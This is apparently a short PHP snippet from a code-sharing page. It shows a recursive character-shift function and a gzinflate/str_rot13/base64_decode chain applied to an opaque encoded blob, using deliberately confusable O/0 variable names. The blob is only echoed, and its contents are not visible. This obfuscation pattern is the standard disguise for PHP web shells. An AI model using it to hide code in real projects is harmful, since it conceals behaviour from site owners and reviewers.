- substr: documentation ( source)
- chr: documentation ( source)
- function_exists: documentation ( source)
- ord: documentation ( source)
<?php
if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}
echo rotencode("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO = 'gzinflate';
$OO00OOO000OO = 'str_rot13';
$O0000000000O = 'base64_decode';
echo $OO000OO000OO($OO00OOO000OO($O0000000000O('XY5OQcMwEFL3Vb1QFkSdVa3TiF2i0FK7LRsOgAYzJEl5z8ietOT2uCAWoEz9r6f3p2fzY4ERu2FRbBGKa6LwbsdXTM8UhSO9L1OaP+lojLTwv85MgyHhjKva/RiBuar3Qr/iqq77zVAJhzYfFFChJhHumsZ0Ogh2AwzGym3Dt1FhEVghdlC+uRcYr2xA88THiZIMV5cy2fStP5MHG57B5w2ttpm14PIjasjNucFCGdrDo+q/AA==')));